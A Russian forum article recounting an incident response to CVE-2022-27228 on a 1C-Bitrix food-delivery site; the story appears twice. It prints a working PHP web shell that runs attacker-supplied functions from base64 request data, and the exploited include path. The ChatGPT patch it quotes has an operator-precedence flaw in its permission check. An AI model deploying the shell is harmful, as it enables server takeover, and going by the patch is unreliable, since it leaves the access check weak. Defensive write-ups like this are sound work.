Благодарю, хорошая статья, читал с удовольствием. Главное что не чего не понимая взял разобрался и закрыл уязвимость. Да в любом случае будут еще уязвимости, но опыт дальше будет только расти, главное не опускай руки. Удачи дядь
РАЗБОР
AppSec
Статья
По следам CVE-2022-27228
[ обложка статьи ]
Режим чтения
Прежде чем перейти к самой истории, немного формальной справки для тех, кто впервые слышит об этой уязвимости. CVE-2022-27228 — критическая уязвимость модуля vote («Опросы, голосования») CMS 1С-Битрикс: Управление сайтом, актуальная для версий до 21.0.100 (по данным официального бюллетеня — до 22.0.400 во всех редакциях, кроме «Старт»). Номер CVE был присвоен 17.03.2022, а деталей эксплуатации стало известно позже, после чего в мае-июне 2022 началась массовая волна дефейсов сайтов на .ru и .рф. Суть проблемы — недостаточная валидация пользовательского ввода, позволяющая неаутентифицированному злоумышленнику удалённо исполнять произвольный код на сервере. Дальше расскажу, как это выглядело на практике, когда с этой уязвимостью пришлось разбираться вживую, на боевом проекте.
Приветствую, уважаемые форумчане. Хотел бы поведать вам историю, которая произошла совсем недавно. Многие наверное слышали про атаку, которой подверглись сайты на cms битрикс в июне 22 года, так вот речь именно об этой уязвимости.
Наша компания занимается доставкой еды, в качестве cms используется битрикс какого-то лохматого года, конечно, мы знаем, что надо обновляться по мере выхода обновлений. Волею случая я попал туда работать, и помимо основной работы с БД я слежу за безопасностью, ищу дырки и стараюсь их закрывать сам, либо это делают программисты, сам я владею php на уровне примерно 0.
Вот так и продолжалась наша рутинная работа, пока однажды вдруг резко никто не мог зайти и выйти с сайта, включая админов. В ходе чтения различных форумов, была обнаружена возможная причина - это инфицирование файлов bx_root.php и prolog_after.php в ядре битрикса.
Закомментированная часть и была причиной поломки.
и изменения в файле prolog_after.php
обратите внимание, что строки дублируются, к этому вернемся чуть позже и я выскажу свое предположение.
Результат просмотра логов ничего не дал, только миллионы буковок и циферок. Тогда я решил пробежаться по известной всем методичке для атак на битрикс и посмотреть что же там такого есть. Я думаю, многие поняли, о какой методичке идет речь.
В итоге, после долгого различного ковыряния и проверок, у меня ничего не выходило найти, тогда я нашел эксплойт для уязвимости и стал разглядывать его код и пытаться залить шелл. Эксплойт не отработал должным образом, но удалось обнаружить новые файлы в папке upload, правда это были не PHP файлы, а стандартные файлы то ли логов, то ли еще какой фигни. Как я понял, эти файлы создаются каждый раз, когда на сайт закачивается файл. Примерный путь /upload/tmp/BXTEMP-2023-01-01/09/bxu/main/тутпапкахэшиком/default
И вот, наконец вооружившись методичкой и открыв код эксплойта, я решил дописать его под себя. После пары часов пыхтения удалось таки залить свой код в upload папку и на одном из доменов даже выполнить его, ужас, всегда закрывайте папку upload от выполнения различных скриптов.
Так же в процессе были обнаружены еще несколько зараженных и непонятных файлов. Вот этот код добавился в одном из файлов.
В этот момент я решил попробовать поиграться с chatgpt, зарегистрировался там, писал всякие вопросики и тут пришла идея: а почему бы не попросить, чтоб он написал для меня скрипт, который будет читать логи, анализировать их и отправлять в телеграмм сообщения при обращении к файлам уязвимости. Пусть и не сразу, но он написал для меня такой скрипт. Помимо этого, при изменениях файлов в файле менялось значение mtime и выглядело так, что файлы менялись последний раз очень давно. Просто так обнаружить модифицированные файлы не удалось, пришлось просматривать все вручную, сканировать различными антивирусами. Поэтому он написал для меня еще 1 скрипт для поиска файлов модифицированных по mtime и ctime за последний день. Добавив это в крон на выполнение пары раз в день и закрытия папки upload пришлось немного подождать.
И вот утром, проверяя свою телегу, были выявлены новые модификации и новые файлы, при этом в логах помимо обращения к уязвимому htm_editor_action.php ничего не было, как и не было обращения к папке upload. Тогда пришлось разбираться уже с самой уязвимостью. На форумах много рекомендаций по поводу закрытия этих файлов, но как следствие админ часть отваливается, да и предложения закрыть метод POST настройками сервера при обращении к этому файлу такая себе идея
это сам уязвимый файл, к которому идет обращения, и как можно заметить никаких дополнительных проверок помимо sessid нету.
Так же в логах было два обращения к файлу /bitrix/tools/vote/vote_chart.php и вы только посмотрите на эту начинку
между прочим это стандартный файл, однако замечу, что в присланном в телеграмм сообщении по изменению и добавлению файлов, у нас как раз-таки фигурирует один из путей /bitrix/templates/и в папке vote нас ожидает наш шелл по имени default с содержимым
Получается, что злоумышленник даже не использовал папку upload, он просто каким-то способом лил файл сюда и потом инклюдил его, и тот выполнялся. Нужно срочно закрыть файл от доступа. Так как в целом с программированием я не очень, и тем более программированием на битре, то я решил снова воспользоваться ChatGPT. Я попросил добавить в файл /fileman_html_editor_action.php проверку на авторизацию и принадлежность к группам сотрудников, дабы не сломать ничего лишнего, и он сразу выдал мне файл с таким содержимым
Осталось только залить его на сервер и протестировать наш эксплойт. К счастью, эксплойт не отработал, новых файлов и логов от них добавлено не было ни в папку upload, ни куда-то еще. Ну что ж, будем смотреть и анализировать логи, и изменения файлов, чтоб прийти к выводу: а помогло ли это в этот раз. Хотя данная мера является скорее полумерой, но для тех, кто не может обновить ядро, я думаю может помочь.
ChatGPT это конечно хорошо, но понимать код и писать его, залатывая дыры самому, куда веселее
Хочу высказать свое предположение по поводу этого всего. Я думаю, что сайты ломают ботом, помните те повторяющие строки в bx_root.php и prolog_after.php? Так вот, они добавляются после даже уже существующих строк каждый раз, когда идет обращение к нашим файлам. Кстати, еще искали файл spread.php в /bitrix/tolls, но его там не оказалось. Можно прийти к выводу, что заливают шелл до поры до времени, и в один прекрасный день снова множество сайтов падут. У кого старый битрикс и кто не столкнулся с атакой в прошлом году, проверьте свои сайты, обезопасьте себя. Так же, если кому-то нужны скрипты для логов и анализа на изменения файлов, можете писать в личку и я поделюсь с вами. Прошу не плеваться в мою сторону по безопасности нашего сайта, я работаю недавно в этой области и компании, и многое делаю впервые: такое как латание дыр на боевом сервере и изучения логов, чтоб пройтись по пути злоумышленника, пусть даже бота. Всем удачи и спасибо за прочтение, надеюсь было не сильно скучно
Приветствую, уважаемые форумчане. Хотел бы поведать вам историю, которая произошла совсем недавно. Многие наверное слышали про атаку, которой подверглись сайты на cms битрикс в июне 22 года, так вот речь именно об этой уязвимости.
Наша компания занимается доставкой еды, в качестве cms используется битрикс какого-то лохматого года, конечно, мы знаем, что надо обновляться по мере выхода обновлений. Волею случая я попал туда работать, и помимо основной работы с БД я слежу за безопасностью, ищу дырки и стараюсь их закрывать сам, либо это делают программисты, сам я владею php на уровне примерно 0.
Вот так и продолжалась наша рутинная работа, пока однажды вдруг резко никто не мог зайти и выйти с сайта, включая админов. В ходе чтения различных форумов, была обнаружена возможная причина - это инфицирование файлов bx_root.php и prolog_after.php в ядре битрикса.
Закомментированная часть и была причиной поломки.
и изменения в файле prolog_after.php
обратите внимание, что строки дублируются, к этому вернемся чуть позже и я выскажу свое предположение.
Результат просмотра логов ничего не дал, только миллионы буковок и циферок. Тогда я решил пробежаться по известной всем методичке для атак на битрикс и посмотреть что же там такого есть. Я думаю, многие поняли, о какой методичке идет речь.
В итоге, после долгого различного ковыряния и проверок, у меня ничего не выходило найти, тогда я нашел эксплойт для уязвимости и стал разглядывать его код и пытаться залить шелл. Эксплойт не отработал должным образом, но удалось обнаружить новые файлы в папке upload, правда это были не PHP файлы, а стандартные файлы то ли логов, то ли еще какой фигни. Как я понял, эти файлы создаются каждый раз, когда на сайт закачивается файл. Примерный путь /upload/tmp/BXTEMP-2023-01-01/09/bxu/main/тутпапкахэшиком/default
И вот, наконец вооружившись методичкой и открыв код эксплойта, я решил дописать его под себя. После пары часов пыхтения удалось таки залить свой код в upload папку и на одном из доменов даже выполнить его, ужас, всегда закрывайте папку upload от выполнения различных скриптов.
Так же в процессе были обнаружены еще несколько зараженных и непонятных файлов. Вот этот код добавился в одном из файлов.
В этот момент я решил попробовать поиграться с chatgpt, зарегистрировался там, писал всякие вопросики и тут пришла идея: а почему бы не попросить, чтоб он написал для меня скрипт, который будет читать логи, анализировать их и отправлять в телеграмм сообщения при обращении к файлам уязвимости. Пусть и не сразу, но он написал для меня такой скрипт. Помимо этого, при изменениях файлов в файле менялось значение mtime и выглядело так, что файлы менялись последний раз очень давно. Просто так обнаружить модифицированные файлы не удалось, пришлось просматривать все вручную, сканировать различными антивирусами. Поэтому он написал для меня еще 1 скрипт для поиска файлов модифицированных по mtime и ctime за последний день. Добавив это в крон на выполнение пары раз в день и закрытия папки upload пришлось немного подождать.
И вот утром, проверяя свою телегу, были выявлены новые модификации и новые файлы, при этом в логах помимо обращения к уязвимому htm_editor_action.php ничего не было, как и не было обращения к папке upload. Тогда пришлось разбираться уже с самой уязвимостью. На форумах много рекомендаций по поводу закрытия этих файлов, но как следствие админ часть отваливается, да и предложения закрыть метод POST настройками сервера при обращении к этому файлу такая себе идея
PHP:
<?
define("NO_KEEP_STATISTIC", "Y");
define("NO_AGENT_STATISTIC","Y");
define("NO_AGENT_CHECK", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
CModule::IncludeModule("fileman");
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;
if (check_bitrix_sessid())
{
CHTMLEditor::RequestAction($action);
}
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>
это сам уязвимый файл, к которому идет обращения, и как можно заметить никаких дополнительных проверок помимо sessid нету.
Так же в логах было два обращения к файлу /bitrix/tools/vote/vote_chart.php и вы только посмотрите на эту начинку
PHP:
<?
$file = preg_replace(array("#[\\\\\\/]+#", "#\\.+[\\\\\\/]#"), array("/", ""), (isset($_REQUEST["file"]) && is_string($_REQUEST["file"]) ? $_REQUEST["file"] : ""));
if(($p = strpos($file, "\0"))!==false)
$file = substr($file, 0, $p);
if (strpos($file, "/vote/")!==false)
{
if (strpos($file, "/bitrix/modules/vote/install/templates/vote/")===0 ||
strpos($file, "/bitrix/templates/")===0) @include($_SERVER["DOCUMENT_ROOT"]."/".$file);
}
?>
между прочим это стандартный файл, однако замечу, что в присланном в телеграмм сообщении по изменению и добавлению файлов, у нас как раз-таки фигурирует один из путей /bitrix/templates/и в папке vote нас ожидает наш шелл по имени default с содержимым
PHP:
<?
define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NO_AGENT_STATISTIC", true);
define("NOT_CHECK_PERMISSIONS", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
if(isset($_REQUEST["state"]) && is_string($_REQUEST["state"]))
{
$arState = array();
parse_str(base64_decode($_REQUEST["state"]), $arState);
echo $arState[0]($arState[1],$arState[2]);
die();
}
?>
Получается, что злоумышленник даже не использовал папку upload, он просто каким-то способом лил файл сюда и потом инклюдил его, и тот выполнялся. Нужно срочно закрыть файл от доступа. Так как в целом с программированием я не очень, и тем более программированием на битре, то я решил снова воспользоваться ChatGPT. Я попросил добавить в файл /fileman_html_editor_action.php проверку на авторизацию и принадлежность к группам сотрудников, дабы не сломать ничего лишнего, и он сразу выдал мне файл с таким содержимым
PHP:
<?
define("NO_KEEP_STATISTIC", "Y");
define("NO_AGENT_STATISTIC","Y");
define("NO_AGENT_CHECK", true);
define("DisableEventsCheck", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
CModule::IncludeModule("fileman");
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false;
if ($GLOBALS['USER'] instanceof \CAllUser
&& $GLOBALS['USER']->getId()
&& check_bitrix_sessid()
&& in_array(1, $GLOBALS['USER']->GetUserGroupArray()) || in_array(20, $GLOBALS['USER']->GetUserGroupArray()))
{
CHTMLEditor::RequestAction($action);
}
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");
?>
Осталось только залить его на сервер и протестировать наш эксплойт. К счастью, эксплойт не отработал, новых файлов и логов от них добавлено не было ни в папку upload, ни куда-то еще. Ну что ж, будем смотреть и анализировать логи, и изменения файлов, чтоб прийти к выводу: а помогло ли это в этот раз. Хотя данная мера является скорее полумерой, но для тех, кто не может обновить ядро, я думаю может помочь.
ChatGPT это конечно хорошо, но понимать код и писать его, залатывая дыры самому, куда веселее
Хочу высказать свое предположение по поводу этого всего. Я думаю, что сайты ломают ботом, помните те повторяющие строки в bx_root.php и prolog_after.php? Так вот, они добавляются после даже уже существующих строк каждый раз, когда идет обращение к нашим файлам. Кстати, еще искали файл spread.php в /bitrix/tolls, но его там не оказалось. Можно прийти к выводу, что заливают шелл до поры до времени, и в один прекрасный день снова множество сайтов падут. У кого старый битрикс и кто не столкнулся с атакой в прошлом году, проверьте свои сайты, обезопасьте себя. Так же, если кому-то нужны скрипты для логов и анализа на изменения файлов, можете писать в личку и я поделюсь с вами. Прошу не плеваться в мою сторону по безопасности нашего сайта, я работаю недавно в этой области и компании, и многое делаю впервые: такое как латание дыр на боевом сервере и изучения логов, чтоб пройтись по пути злоумышленника, пусть даже бота. Всем удачи и спасибо за прочтение, надеюсь было не сильно скучно
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
CVE-2026-33453: Header Injection -> RCE в Apache Camel
Комментарии
8